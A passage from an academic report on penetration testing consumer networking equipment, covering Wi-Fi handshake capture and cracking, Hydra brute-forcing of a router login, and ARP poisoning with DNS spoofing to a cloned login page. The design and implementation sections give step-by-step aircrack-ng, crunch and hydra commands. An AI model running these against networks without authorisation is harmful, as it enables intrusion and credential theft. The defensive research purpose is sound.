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ABSTRACT

This project investigates the security of consumer networking equipment by testing it against a selection of cyber-attacks. The experiment consists of 3 attacks including a dictionary attack on a network WiFi password utilising de-authentication frames to obtain the 4-way handshake and conduct offline password cracking. Next, a second password cracking attack on a router login form utilising THC hydra to perform a dictionary attack and finally an ARP poisoning and DNS spoofing attack used to direct a victim to a cloned website and obtain their login credentials. The experiment found vulnerability to every attack in the testing scenario and this resulted in all login credentials being obtained. 

The first attack was run 3 times and found the correct password in an average of 34724206.6 attempts and an average time of 6 hours, 41 minutes and 1 second. The second attack was also run 3 times and found the correct router username and password in 72706 attempts (out of a possible 252042 attempts) in all 3 cases. Finally, the third attack resulted in a successful ARP poisoning that allowed the victims traffic to be viewed by the attacker. Additionally, a successfully spoofed DNS response allowed the attacker to serve the victim a cloned website that was identical to the genuine article and collect the login credentials entered by the victim.
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[bookmark: _Toc38772121]CHAPTER 1 - INTRODUCTION
1.1. [bookmark: _Toc38772122]INTRODUCTION
This project focused on the exploitation of networked devices, something which has become of increasing concern as the complexity and concentration of network-enabled devices continues to increase. The industry term for this is penetration testing, which is a reactionary profession that exists due to the need for companies to fortify their devices against all attacks aiming to compromise them. A report by Risk Based Security found that the number of data breaches recorded by Q2 in 2012 was 1408, by 2018 this number had risen to 2475, with a large spike to 3813 recorded in 2019 (which led to the leak of more than 4.1 billion records) [1]. It is vital to protect against all forms of attack, as Risk Based Security found that while hacking made up the highest number of total incidents (at 82%), web-based attacks made up the highest number of total records leaked (at 79%) for the first and second quarter of 2019 [1].

In preparation for this activity, research was carried out into penetration tools, network attacks such as MitM (Man-in-the-Middle) and DDoS (Distributed Denial of Service), password cracking (e.g. brute force, hash guessing and rainbow tables, as well as password capturing through keyloggers and network sniffing), and the various methods to achieve these attacks. By researching various attacks and attempting to implement a selection of them on existing hardware, the vulnerability of said hardware to the selected attacks can be ascertained.

1.2. [bookmark: _Toc38772123]PROJECT AIM

The aim of this report was to carry out cybersecurity experiments on consumer-grade hardware in order to exploit and gain access to a home network. 

1.3. [bookmark: _Toc38772124]OBJECTIVES

The objectives of this project are as follows:
· To create an expansive literature review on existing exploits and tools and apply this to the implementation and experiment.
· To research penetration testing and conduct experiments to determine if this is successful or not and why.
· To attempt password cracking on a number of consumer electronic devices using existing password guessing approaches.
· To investigate data acquisition via man-in-the-middle attacks and their implementation on a typical home network.
· To evaluate the experiment and collate the results with prior research.

1.4. [bookmark: _Toc38772125]PROJECT STRUCTURE

The project consists of three main phases. The research phase, which consists of the project summary and the background research that was used to back up any findings from the following experiment phase. This spans the first 3 chapters. The experiment phase consists of the penetration testing conducted on various devices, the goal of which being to compromise the target device. This spans the 4th and 5th chapters. This is followed by the conclusion/results phase. Here, the findings of the experiment are analysed and explained via the research conducted in the initial research phase. This spans the 6th and 7th chapters.

Chapter 1 involves summarising the project as a whole by laying out the scope, structure, aim and objectives of the project. This is followed by outlining the methodology used to carry out the literature review and the ensuing practical work.

Chapter 2 consists of formulating a literature review. This involves researching penetration testing, password cracking and etc. The research is then compiled and explained along with a list of referenced articles and papers relevant to the experiment.

Chapter 3 provides an overview of the entire research process, philosophy, methodology and data collection process. The purpose of this is to justify them in relation to achieving the aims and objectives stated in chapter one.

Chapter 4 is used to outline the main problem that the experiment aims to solve, and the design that is used to solve it. This chapter also features the implementation of the experiment and information on any hardware/software necessary to complete the task.

Chapter 5 details the further testing and analysis of the experiment performed to ensure the validity of the results. This is followed by a comparison of the results and methodology of said experiment against what is expected (based on the literature review) and suggestions for mitigation. The literature review in chapter 2 is then be used to justify or disprove the results of the experiment.

Chapter 6 is heavily influenced by chapter 5 and involves summarising and drawing a conclusion on the report. This chapter also features recommendations for further research into the subject. This includes specific areas which could be expanded upon.

Chapter 7 reflects on the aim and objectives of the research to determine the extent to which the goal has been achieved. 

Chapter 8 consists of a list of references cited in the IEEE referencing format.













[bookmark: _Toc38772126]CHAPTER 2 – LITERATURE REVIEW

This section of the report is used to situate the research topic within existing knowledge. In this case, the focus has been on the implementation of network-based attacks and the software tools used. The finer points of this are discussed in the sections below.

[bookmark: _Toc38772127]2.1.	PASSWORD GUESSING ATTACKS

Password attacks that attempt to guess a password can be broken down into 3 main categories. These are Brute-Force, Dictionary (which is the most commonly reported method of attack [2]), Hybrid and Rainbow Table. Brute-force attacks are the most simplistic in that they try every possible password until the file is decrypted. As time consuming as this method is, in theory it should eventually result in a decrypted file. However, when attempting such an attack on most web-based login systems there will likely be safeguards implemented to prevent the attack from being carried out. For example, by banning the IPs used to carry out the attack or setting a hard limit on the number of password attempts over a given period [3].

Dictionary attacks are far more orchestrated than brute-force, as they make us of existing word lists, which are lists of commonly used numbers and strings used to create passwords. It is unlikely that a password would consist of just one of these words, but rather a combination of several. As such, an effective dictionary attack will use pre-set, systematic rules for mangling words together, e.g. “greg12”, utilising the dictionary word “greg” and the rule “12”. The effect of this is that dictionary attacks (if performed with an appropriate set of rules) are significantly faster than brute-force methods [4].

Hybrid attacks are a homologation of brute-force and dictionary attack methods. An existing set of word lists is used appended or prepended by brute-force-generated characters. A mask is used to reduce the total number of combinations tried [5].
The final form of password guessing attack is rainbow table. It is usually the most efficient method of cracking passwords. It works via first obtaining the cryptographic hash value associated with the victim (which was generated when the correct password was first entered). This will be freely available due to the fact that hash values are one-way i.e. you cannot retrieve the password from its hash value. As such, a very large table of precomputed passwords and their hash values (e.g. A rainbow table) are compared against the target hash until a matching pair is found. The matched hash value will have its password listed within the table, and this will be the victim’s password [6].
 
[bookmark: _Toc38772128]2.2.	WPS ATTACK

WPS or Wi-Fi Protected Setup is a method of connecting to a wireless router that involves 2 possible methods of authentication. The push-button authentication is relatively safe from attackers, as it requires physical access to the button in order to connect. However, any device can connect to the router in the period the WPS remains active after pressing the button. The other option uses an 8-digit PIN. However, the router provides confirmation of entering the first 4 digits correctly, thus this is really 2 4-digit PINs. This exponentially reduces the maximum number of attempts necessary to brute force the PIN. This form of WPS is significantly more vulnerable as a result [7].

There are other forms of password attack, however they typically rely on other exploits to allow them to work.

[bookmark: _Toc38772129]2.3.	KEYLOGGERS

Keyloggers for example, which could be embedded within third party keyboard applications on Android or iOS (such as the popular Swiftkey [8]) and record the keystrokes of a user as well as the application the keystrokes were entered into, allowing the password to be easily obtained [9]. However, like any form of malware, it still requires installation onto the target device, necessitating another attack.



[bookmark: _Toc38772130]2.4.	MAN-IN-THE-MIDDLE ATTACKS

Another example is the Man-in-the-Middle attack, which involves intercepting a transmission of data between 2 correspondents in which the intercepting device, the “Man-in-the-Middle”, convinces both “men” that it is the other “man” i.e. Bob and Jim are communicating, and Steve then intercepts the communication, convincing Bob that he (Steve) is Jim, and Jim that he (Steve) is Bob. This type of attack is usually very hard to implement as it requires intercepting all communications between correspondents. If the attacker is unsuccessful in achieving this, then the correspondents may detect that an attack is taking place [10]. 

There are multiple methods of achieving a Man-in-the-Middle attack. One example would be where HTTPS is being used for communication. HTTPS works via a HTTPS server that sends a certificate containing a public key for encrypting the data. An attacker could therefore replace the certificate with an altered one, giving the attacker access to the encrypted data and allowing the data to be manipulated in between the 2 communicating devices [11]

[bookmark: _Toc38772131]2.4.1.	   ARP POISONING

The Address Resolution Protocol (ARP) maps logical (IP) addresses to physical (MAC) addresses [12]. When a device intends to send an ethernet frame to another device, it requires the MAC address of that device. To obtain this, an ARP request broadcast is sent by the device, which each recipient checks against its own MAC address. The correct device then sends an ARP reply unicast (containing its MAC address) to the sender of the ARP request. The device then stores the received MAC address within its ARP cache to minimise network traffic [13].

This works fine under normal circumstances. However, due to the stateless nature of the protocol, each packet is processed independently. As a result, a device receiving an ARP reply will update its cache regardless of having sent an ARP request. This creates a weakness that may be harnessed by an attacker [13].

ARP poisoning is an attack on the ARP protocol that works via submitting a fake ARP reply packet to the victim device. This poisons the ARP cache of the victim device by replacing a MAC address entry with that of the attacker’s device, rerouting the traffic to it. This can be used to facilitate a Man-in-the-Middle attack by forwarding this traffic to the intended device [14].

[bookmark: _Toc38772132]2.4.2.	   DNS SPOOFING

The Domain Name System (DNS) Protocol is in widespread use across the internet to translate a text-based domain name (e.g. “facebook.com”) into a routable IP address [15]. The DNS protocol is inherently insecure, as the only method of verifying a DNS response packet is to verify that the source IP address matches the IP the query was sent to, something that is easily spoofed [16].

There is more than one method of spoofing a DNS response. One method is to poison the cache of the DNS server with an incorrect IP address for a given website (e.g. facebook.com), causing the victim to be directed to the incorrect address when requesting the domain and allowing the attacker to place a cloned version of the website and collect login credentials [15].

Another method of spoofing DNS would be to launch a Man-in-the-Middle attack between the victim client and router to route all traffic through the attacking device, allowing the attacker to send a modified DNS response to the client and redirect them to a different IP address [11].

[bookmark: _Toc38772133]2.5.	DE-AUTHENTICATION ATTACK

The De-authentication attack method involves sending De-authentication frames. The purpose of this frame is to disassociate the client and access point once communications have ceased [17]. All management frames are broadcast in an unencrypted state to allow devices to discover the network [18]. Unfortunately, this can be abused by an attacker to obtain cloaked SSIDs, to generate ARP requests or to force a client and access point to reauthenticate, allowing the WPA handshake to be captured [19]. For example, a captured WPA handshake could allow an attacker to crack the password of a Wi-Fi network offline by attempting to decrypt the captured packet [20].

[bookmark: _Toc38772134]2.6.	PREFIX HIJACKING

A further form of attack utilises Prefix Hijacking. This attack is similar in concept to the Man-in-the-Middle attack discussed above, as it also involves redirecting traffic. However, there is no “Man-in-the-Middle” and traffic is merely redirected to a different destination. It utilises BGP (Border Gateway Protocol) which is an external routing protocol used throughout the wider internet. It is designed to find the most efficient route (fewest hops) for traffic to go from source IP address to destination [21]. 

This works via the routing table stored by each BGP router that contains the most direct route (fewest hops across networks) to get to the next Autonomous System. “An Autonomous System is a large network or group of networks managed by a single organisation.” [21] The most common example of an Autonomous System is an ISP [21]. Attackers take advantage of this by gaining access to an Autonomous System and advertises itself as a more efficient route for the target traffic (by listing the intended BGP prefix as accessible via itself) [22].

In the event of password hacking, this would likely involve redirecting the traffic to a different destination. For example, redirecting a user from the intended online banking URL to a fake page (i.e. a phishing attack). However, the attacker could also black-hole the traffic (i.e. drop the packets completely [23]), causing a Denial-of-Service-Attack against the prefix that the traffic was intended for [22].

[bookmark: _Toc38772135]2.7.	SOCIAL ENGINEERING ATTACKS

There are also social engineering attacks, which aim to exploit what it essentially the weakest link in computer security; the users. The attack works by deceiving the victim to get them to reveal information or commit a (typically malicious) action [24]. One of the most common forms of social engineering attacks is a Phishing attack. This is used by deploying a form of “bait”. Some examples would be an email proclaiming that the victim has won a prize or an email stating that they have fallen victim to wire fraud. In both cases, the victim provides the attacker with information, as they believe this to be in their best interest [25].

There are also several techniques that are subsets of the standard phishing attack. Spear phishing for example, which is a more targeted form of phishing that trades a large victim pool for a higher likelihood of successfully deceiving the victim. These attacks almost exclusively target members of organisations. A typical spear phishing email will appear to have originated from within the company (which helps to increase the trust of the victim). These are very similar to standard phishing emails except with additional context to give the email validity [26].

Another form of social engineering attack is Pretexting. In Pretexting the attacker convinces a person that they are somebody else in order to instruct them to do something or provide information. Typically, the attacker will choose 2 people with either a personal or professional relationship. For example, the attacker impersonates a CEO, and requests that the CEO’s Secretary send over a document urgently [27].

The baiting attack is a form of social engineering that uses the curiosity of humans to its advantage. This attack involves strategic placement of infected storage media (typically USB flash drives) for them to be found by future victims. Labels such as “staff redundancies” or “layoffs 2019” add additional temptation toward the attackers desired end goal; for the victim to connect the drive to a computer within the business intranet which the virus stored inside the drive then has access to [28].

Quid Pro Quo (a Latin term meaning “something for something” [29]) is the name of a subset of the baiting attack. However, it focuses on offering the victim a service or other form of benefit. Hence, it differs from standard baiting attacks, which focus on exploiting curiosity [28]. It typically involves the attacker impersonating a member of a company or organisation (for example an IT technician) by calling a list of employee numbers and convincing the victim (whichever number picks up the phone), a help desk employee for example, that they are going to receive an upgrade to their work computer. The employee is then convinced that they are speaking with the IT department of the company and executes whatever commands the attacker asks them to [30].

[bookmark: _Toc38772136]2.8.	PENETRATION TESTING TOOLS

The Cybersecurity industry exists due to the inherent need for security on the internet. As such, the industry has produced a number of tools to cover a range of different attacks and attack sites. One of the most frequently exploited features of a computer network is the use of traditional passwords [31], whether obtained via social engineering or through password-guessing tools, attackers frequently gain access via this channel. One of the most common password-guessing tools is Cain (and Abel), which is a free and open-source program able to obtain passwords through analysing cached, scrambled and encrypted (dictionary, brute-force and cryptanalysis) passwords and by sniffing the network. This has made it a versatile and popular tool with forensic staff [32].

Another popular password-guessing tool is John the Ripper, which is another free and open-source software. This draws similarities to Cain and Abel in its implementation of multiple attack types. It also allows the user to define a custom cracking setup using the in-built C compiler. The software can use a number of hash types, such as “DES, BSDI extended DES, FreeBSD MD5 and OpenBSD Blowfish,” [33] as well as certain other hash types dependent on platform [33]. This is due to John the Ripper running on 15 different platforms in total [34].

If the method chosen to obtain a password is network sniffing, then Wireshark is an obvious choice, as it allows the user to inspect hundreds of protocols from a wide range of sources such as IEEE 802.3 and 802.11, Bluetooth and USB. The user can capture packets live for later analysis while offline. Wireshark also runs on a wide range of platforms such a Windows, Linux, MacOS, FreeBSD and several others [35].

A different approach to exploiting a network is to attempt to find a vulnerability in the network architecture and exploit that to gain access. One of the most popular packages for this purpose is the Metasploit Framework, which is a heavily customisable collection of tools written in Ruby and developed by Rapid7 in conjunction with the open-source community [36]. The software is made up of modules dedicated to a particular task such as a specific exploit and allows users to execute and write exploit code. A more user-friendly, commercial version known as Metasploit Pro is also available which includes additional features [37].

The SET or Social Engineering Toolkit is a toolset (written by David Kennedy, founder of TrustedSec [38]) that incorporates a number of attacks into a single tool. It is designed to form a targeted and focused penetration test on an organisation or individual [39]. The tool has over 2 million downloads and was created to screen an organisation against increasingly prevalent social engineering attacks [38].

Some tools are more specialised than others, such as Aircrack-Ng, a collection of terminal-based tools used for attacking wireless networks to gauge security. It features capturing packets, various forms of network attack and cracking of WPA PSK and WEP. It is available for Windows, Linux, FreeBSD and several others [40].

THC Hydra is a similar tool to Aircrack-ng, the purpose of it being to run live password attacks on a variety of different protocols, such as HTTP-GET, HTTP-FORM-GET, HTTP-FORM POST, IMAP, IRC, POP3, SMB, FTP, etc. It is available for several platforms such as Windows, Linux and Mac OSX [41].

In order to perform dictionary attacks with either of the tools mentioned above, a wordlist is required. Pre-existing wordlists are available online, though an attacker may opt to produce their own [42]. This is the purpose of crunch, a wordlist generator designed for Windows and Linux that allows the user to define character set and permutation patterns to generate a complex wordlist [43].

Another specialised tool is Ettercap, a tool capable of performing a myriad of Man-in-the-Middle attacks [44]. It is included in many Linux repositories, such as Debian, Fedora, and Gentoo based distributions and can be used via command-line, GUI and Ncurses interfaces [45].

Burpsuite is a tool released by Portswigger for Windows, Linux and Mac OSX that facilitates evaluation of web security and allows for redirecting HTTP traffic through a proxy, allowing for editing and capturing of data. Every HTTP request is viewable from the intercept tab, and can be forwarded on to the destination afterwards, with all intercepted requests and responses stored in the “HTTP History” tab for later analysis and/or use [46].

Penetration Testers use a number of different tools in order to test the effectiveness of a variety of exploits and thus ascertain the vulnerability of a network to known attacks. Installing each tool individually is likely to take a large amount of time, hence an alternative was created in the form of modified Linux distributions that come with popular penetration testing tools preinstalled. A popular option in this space is Kali Linux, a free and open-source Linux Distribution based on Debian that contains over 600 penetration testing tools [47] (and has the ability to install closed-source tools if desired [48]).

[bookmark: _Toc38772137]2.9.	RELATED WORKS   

This paper covers the usage of the Aircrack-ng suite of tools in order to compromise a wireless network. It covers the usage of four tools; Airodump-ng, used to capture network packets. Aireplay-ng, used to inject frames and Aircrack-ng, used to recover the encrypted key from the captured packets and perform a brute-force/dictionary attack against the captured packets to find the correct key. It also covers the use of Wireshark in order to capture and analyse live packets as well as offline analysis of previously captured packets [20].

Another related paper discusses a Man-in-the-Middle attack conducted via ARP poisoning via the Ettercap tool. This is done by sending ARP reply packets to the victim and access point that contain the MAC address of the attacking device, rerouting the traffic through the attacking device with the client and access point still believing they are communicating directly. The paper also details use of the SSL Strip plugin (also performed using the Ettercap tool) to strip the SSL certificate from an HTTPS webpage before forwarding to the client device, allowing user credentials to be sniffed. Finally, the paper proposes a solution to this attack using static ARP entries that prevent ARP poisoning by retaining MAC addresses [14].

An additional paper similarly explores Man-in-the-Middle attacks, covering ARP poisoning and attacks that are made possible through its execution. DNS Spoofing, done by altering DNS responses to change the IP the victim is directed to. This allows the attacker to serve the victim a fake website and collect login credentials. The paper also covers DoS (Denial of Service) attacks via dropping packets and packet sniffing via SSL Strip and via forging a fake SSL certificate. The paper proposes static ARP entries that retain MAC address entries and thus prevent ARP poisoning [49].

Another relevant paper covers the plain-text management frames present in Wi-Fi communications to allow devices to discover a network. The necessary lack of encryption on management frames allows attackers to inject de-authentication or disassociation frames that appear to originate from the client, causing the two clients to disconnect and later reauthenticate. This could therefore be used to perform a Denial of Service attack [18].

A different relevant paper discusses a number of password attack types (i.e. rainbow tables, hybrid, social engineering, etc.) and password cracking tools (Cain and Abel, Medusa and THC Hydra) that can be used to successfully conduct these attacks. It then covers using THC Hydra to attack servers on the FTP, SSH and SMTP protocols and obtain valid credentials to gain access to server machines and email accounts. However, the author fails to run an attack on the SSH server due to an enabled configuration option that allows limiting the number of failed login attempts to prevent such an attack [50].

A further paper covers the SET or Social Engineering Toolkit and the various exploits and attack vectors contained within.  It also provides an example of how to perform the credential harvester attack method and collect login details from gmail.com by creating a copy of the login page and directing victims to it [51].

A final relevant paper investigates common Single Sign-On web login systems and protocols as far as how they work and how they may be attacked. It covers the OAuth, Facebook Connect, Microsoft Account, and various other protocols and discusses how they may be intercepted, analysed and attacked via the Burpsuite tool, which acts as an intercepting proxy to capture and modify HTTP traffic [52].


























[bookmark: _Toc38772138]CHAPTER 3 – RESEARCH METHODOLOGY

The research conducted prior to and throughout the project must be relevant to the stated aims and objectives. As such, a research methodology is a useful document to guide the researcher toward literature that meets these aims and objectives.

[bookmark: _Toc38772139]3.1.	RESEARCH APPROACH

The correct research method is determined based on the type of project being completed. As the goal of this research is to develop functional attacks to compromise home devices, an inductive logical approach is to be taken. This allows for interpretation of the research to create a test model heavily influenced by the data obtained through the research [53]. Secondly, the research philosophy, which in this case is qualitative, As the research is obtained from interviews, reports, books, etc. It presents concepts and opinions, something that cannot be quantified in the way quantitative research can [54].

[bookmark: _Toc38772140]3.2.	RESEARCH METHODOLOGIES

Thirdly, the research methodologies. In this case, Case Studies, Action-Research, Experimentation and Triangulation approaches are used. Research has been conducted into various attacks, exploits, tools and existing relevant works. The research process follows the Action-Research approach of combining traditional research conducted as discussed above with “action”. Pursuant to the research, data was collected from the literature sources and reflected upon to come to a recommended “action” to further the research into this topic. 

In this case, the variables of the experiment (discussed below) were altered in response to knowledge gained from said research [55]. The majority of the research is secondary, in that the primary (first-hand) research of others was reviewed and analysed [56]. However, due to the inclusion of an experiment, primary research was also collected and documented.

Triangulation was used following the experiment (taking place in chapter 5). The findings of the experiment were compared to expected results obtained through the literature review. The goal of this was to justify the results and the success (or lack thereof) of the experiment [57]. 

The final research methodology used is an experiment. As mentioned above, this follows an inductive logical approach, as the research produced is mostly qualitative data that wouldn’t be applicable to a deductive approach. The success of the experiment is determined by achievement of the aim and objectives stated above. The results of the experiment determine the aim to have been achieved or not, and thus the experiment a success or failure.

[bookmark: _Toc38772141]3.3.	DATA COLLECTION

The data collection method varies by chapter. Chapter 1 has little research as its focus is in summarising the project as a whole. However, it follows the same research approach as chapter 2, the literature review. In chapter 2, The data collected is secondary and qualitative action-research, and as such is non-binary and open to interpretation. These findings were reflected on as per the action-research approach in an effort to deepen understanding. Chapters 3 and 4 follow the same data collection and research process. Chapter 5 includes the triangulation of a final result model.
  
As chapter 5 includes a reflection on the results obtained, it also incorporates the action research approach. Chapter 6 is different. Case study research approach is used, as the focus of chapter 6 is to observe and summarise the experiment (conducted in chapter 4). 

[bookmark: _Toc38772142]3.4.	RESEARCH DESIGN

The results from the research conducted are displayed in the testing section (in chapter 5) stating the tool and attack used, the victim device and whether the attack was successful. The research was also used to produce a conclusion summarising the experiment results and providing recommendations for further areas of expansion. This can also be found within chapter 5. The final output produced from the research can be found in chapter 7 and is the reflection on the experiment. This was performed to determine the success of the experiment based on achievement of the main aim and objectives and the results justified via secondary research. 

However, the secondary research itself was verified by way of triangulation. More specifically, methods triangulation, which was used to confirm the consistency of findings by triangulating multiple sources. The data was then used to justify the results of the experiment and provide an explanation in the event that something goes wrong.

[bookmark: _Toc38772143]3.5.	CONCLUSION

This chapter contains the Research Approach and Design. It details the inductive research approach used for interpretation of the data produced. This is necessary due to the collection of qualitative research that cannot be quantified. The research methodology varies based on chapter; however, a variety were used. Action Research, case study and triangulation were used within chapter 2 for the main research task and action research, triangulation and an experiment used within chapter 5 to collect data from and perform an experiment. 

Finally, the research design, which details the triangulation method used to verify both the research and the experiment results and reach a conclusion on the experiment’s success. This section also details the outputs produced by the experiment, such as the final triangulated conclusion within chapter 7, the reflection on results within chapter 6 and the recording of results conducted throughout chapter 5 from which the previous documents are produced. This chapter details the research design, data collection, methodologies and approach and as such, successfully defines the research methodology as a whole.





[bookmark: _Toc38772144]CHAPTER 4 – DESIGN & IMPLEMENTATION

The literature review contains information on several types of attack and various tools that may be used to gain access to or exploit a network in some way. Due to the variety of choice, a decision had to be made on what attacks and tools are used in the experiment and how exactly said attacks would be carried out.

[bookmark: _Toc38772145]4.1.	PROBLEM FORMULATION

The design of the experiment attempts to solve the problems outlined in the aim and objectives. The aim is “to carry out cybersecurity experiments on consumer-grade hardware in order to exploit and gain access to a home network.” The second, third and fourth objectives outlined in chapter one are as follows; “To research penetration testing and conduct experiments to determine if this is successful or not and why”, “To attempt password cracking on a number of consumer electronic devices using existing password guessing approaches” and “To investigate data acquisition via man-in-the-middle attacks and their implementation on a typical home network”. The other objectives are relevant to other sections of the project.

The first attack covers obtaining access to the wireless network, the second attack covers obtaining access to the wireless router itself and the third attack details capturing website login details from a victim on the network. All of the attacks cover the second, third and fourth objectives and are in line with the aim of the project.

[bookmark: _Toc38772146]4.2.	DESIGN

All of the attacks were performed within the Kali Linux “2020.1-vbox-amd64” Operating System run as a virtual machine in VirtualBox as it includes all of the tools necessary to perform the attacks thus saving time and possible issues installing the tools [58]. A Lenovo X220 laptop running Windows 7 Service Pack 1 and containing an Intel Core i5-2520M and 8GB of RAM was used as the attackers PC in the following attacks [59]. This was used with a TL-WN723N TP-Link wireless adapter. In Attack 1, an OPPO A9 Smartphone was used as the victim device. In attack 3, a TL-WN821N TP-Link wireless adapter was used to provide the victim PC with wireless connectivity.

[bookmark: _Toc38772147]4.2.1.	   ATTACK 1

Gaining access to the home network is necessary in order to fulfil the stated aim. The Aircrack-ng suite of tools was to achieve this. First, the wireless adapter is configured to use monitor mode via the “airmon-ng start wlan0” command, allowing it to monitor all traffic on a given wireless channel using the interface “wlan0”. If necessary, “airmon-ng check kill” is run to kill any interfering processes (such as NetworkManager). Once the wireless adapter is in monitor mode the command “airodump-ng wlan0mon” can be run. This captures all 802.11 frames and displays a list of all detected BSSIDs (access points) and any Stations (clients) that are currently connected to them, along with the channel, encryption and various other information [60, 20].
[bookmark: _GoBack] 
After selecting an access point and connected client (the choice is irrelevant), the command “airodump-ng –bssid (access point) –channel (number) –write capture wlan0mon” is used. This command specifically captures 802.11 frames sent by the selected access point on the selected channel, reducing the number of irrelevant frames captured. The captured frames are written to a file named “capture” using the wlan0mon interface to monitor the traffic [61, 20].

The goal is to capture a WPA2/PSK handshake (sent when a client connects to an access point). However, the amount of time for a device to connect is indeterminable, hence the “aireplay-ng -0 3 -a (MAC address) -c (MAC address) wlan0mon” command is used to inject a forged de-authentication frame to the access point (purporting to be from the client), notifying it that the connected client no longer wishes to maintain the connection (Figure 1) [18].

[image: ]
[bookmark: _Ref38700949][bookmark: _Toc38771234]Figure 1: Attack 1 design

This command uses the “-0” flag, which means de-authentication. This is followed by “3”, which is the number of de-authentication frames to send, as capturing the handshake sometimes fails [62]. Next is the “-a” flag, which precedes the MAC address of the target access point and the “-c” flag which precedes the target client MAC address, followed by the interface to be used [19]. As the client did not actually send this frame, it attempts to reauthenticate with the access point, causing the access point to send the handshake to the client, which is then captured by the airodump-ng script [18]. The capture file is then opened in Wireshark to verify that the handshake was captured by looking for EAPOL (Extensible Authentication Protocol over LAN [63]) frames [20].

If the handshake is captured successfully then the “aircrack-ng (capture file).cap -w (password list)” is then used to attack the captured file and test a list of passwords against the hash in order to find the correct password. However, the success of this depends on the presence of the correct password in the wordlist [62]. Thus, a wordlist needs to be generated.

A wordlist generator tool known as “Crunch” is then used to generate this wordlist. The command “crunch (minimum length) (maximum length) (options) (file to save to)” is used, defining the maximum and minimum length of the passwords generated, the numbers, letters and symbols used and the file to save the passwords to. If the correct options are used, then this will generate a list of passwords that contains the correct password [64].

[bookmark: _Toc38772148]4.2.2.    ATTACK 2
[image: ]
[bookmark: _Ref38700935][bookmark: _Toc38771235]Figure 2: Attack 2 design

Now that access to the network has been obtained, the next goal is to gain access to the router (Figure 2). At this point, ifconfig is run to determine the default gateway and therefore the IP address needed to reach the router admin portal and find the login form. In order to determine the type of form, the browser needs to be redirected to 127.0.0.1 and port 8080 to allow Burpsuite to intercept the form. Burpsuite is then opened to the proxy tab and intercept turned off to stop it intercepting traffic and allow the browser to send/receive traffic. Once the browser is opened to the target form, intercept is turned on and random characters are entered into the username and password fields. Once the “OK” button is pressed, Burpsuite shows the captured form data containing the location of the form (i.e. /login.cgi), the type of request (i.e. GET) and various other information [52].

Using this information, the THC Hydra command “hydra -L (username file) -P (password file) -f -V 192.168.0.1 -m /login.html http-get” is created. The “-L” flag points to the file containing the list of usernames and the “-P” flag points to the password list. “-f” is used to stop the program when a correct username and password combo is found and “-V” turns on verbose mode and prints all login attempts in the terminal. This is followed by the IP address of the form (in this case, 192.168.0.1), the “-m” flag, which in this case points to the location of the form and finally the type of form (in this case, GET) [41].

The list of usernames and passwords was obtained from the Routersploit tool located at /routersploit/resources/wordlists/usernames.txt and /routersploit/resources/wordlists/passwords.txt in the repository [65].

[bookmark: _Toc38772149]4.2.2.	   ATTACK 3

The final attack involves choosing a victim device and using the ARP spoofing capabilities of the Ettercap tool to route their traffic through the attacker’s device (Figure 3) by corrupting the ARP table of the victim to send traffic intended for the default-gateway to the attacker and by corrupting the ARP table of the router to send traffic intended for the victim to the attacker [14] The attacker then forwards the traffic on to the intended destination. The traffic is then monitored via Wireshark without the knowledge of the victim [35]. This will provide some sense of what websites they commonly visit. Once a website is chosen, a clone of said website’s login page is set up with the Social Engineering Toolkit and hosted to the IP of the attacker’s device [51]. DNS spoofing in Ettercap is then used to redirect the victim to the IP of the attacker’s device when entering the URL of the cloned website (Figure 4) [49]. They are then taken to the cloned login page, where any credentials they enter are captured.

[image: ]
[bookmark: _Ref38700909][bookmark: _Toc38771236]Figure 3: Attack 3 ARP Poisoning
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[bookmark: _Ref38700880][bookmark: _Toc38771237]Figure 4: Attack 3 DNS Spoofing






[bookmark: _Toc38772150]4.3.	IMPLEMENTATION
[bookmark: _Toc38772151]4.3.1.	   ATTACK 1

The attack starts by opening the terminal in Kali Linux. The command “sudo airmon-ng check kill” is entered (Figure 5), ensuring no processes prevent the device entering monitor mode.
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[bookmark: _Ref38700865][bookmark: _Toc38771238]Figure 5: airmon-ng check kill

“sudo airmon-ng start wlan0” is run, putting the wlan0 interface into monitor mode (Figure 6).
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[bookmark: _Ref38700848][bookmark: _Toc38771239]Figure 6: airmon-ng start wlan0
“sudo airodump-ng wlan0mon” (Figure 7) is then run, monitoring for traffic on all channels.
[image: ]
[bookmark: _Ref38700835][bookmark: _Toc38771240]Figure 7: airodump-ng wlan0mon

The “38:a6:ce:89:e7:70” BSSID (access point) and “f4:d6:20:6f:06:de” STATION (client) are chosen (Figure 8).
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[bookmark: _Ref38700827][bookmark: _Toc38771241]Figure 8: Selection of victim access point and client




The command “sudo airodump-ng –bssid 38:a6:ce:89:e7:70 –channel 11 –write capture wlan0mon” is then run (Figure 9). This is because “38:a6:ce:89:e7:70” is the MAC address of the access point selected in the previous screenshot. It was operating on channel 11 thus this is the only channel to be monitored via the wlan0mon interface.
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[bookmark: _Ref38700818][bookmark: _Toc38771242]Figure 9: airodump-ng traffic capture

The window on the right shows the output of the command, displaying 4 clients connected to the “38:a6:ce:89:e7:70” access point, including the “f4:d6:20:6f:06:de” client chosen to use for this attack (Figure 10).
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[bookmark: _Ref38700804][bookmark: _Toc38771243]Figure 10: airodump-ng traffic capture

At this point the “sudo aireplay_ng -0 3 -a 38:a6:ce:89:e7:70 -c f4:d6:20:6f:06:de wlan0mon” command is run. This injects 3 de-authentication frames between the “38:a6:ce:89:e7:70” access point and the “f4:d6:20:6f:06:de” client with the spoofed source address of the client (Figure 11). The disconnected client then attempts to reauthenticate, and the handshake sent by the access point is captured by the “sudo airodump-ng –bssid 38:a6:ce:89:e7:70 –channel 11 –write capture wlan0mon” script (Figure 11).
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[bookmark: _Ref38700776][bookmark: _Toc38771244]Figure 11: De-authentication attack

To verify the capture of the handshake, Wireshark is used to open the “capture-01.cap” file (Figure 12).
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[bookmark: _Ref38700767][bookmark: _Toc38771245]Figure 12: Wireshark – Select file
Sorting by protocol, the EAPOL handshake is visible in the file. Message 1 and 2 and 3 and 4 have been captured several times (Figure 13)(though only 1 and 2 or 3 and 4 are required to be present in order to run the attack).
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[bookmark: _Ref38700759][bookmark: _Toc38771246]Figure 13: Wireshark - Analysis

To ensure that the password is weak enough to allow it to be cracked, a random 8-digit number was selected (in this case, 34756712). Using crunch, a wordlist was created with the “crunch 8 8 0123456789 password.txt” command (Figure 14), which created a list of passwords containing only the digits 0-9 and with maximum and minimum length of 8, which were saved to the “password.txt” file. Thus, creating a list of 100000000 possible passwords (Figure 15).
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[bookmark: _Ref38700743][bookmark: _Toc38771247]Figure 14: Crunch Wordlist Generator
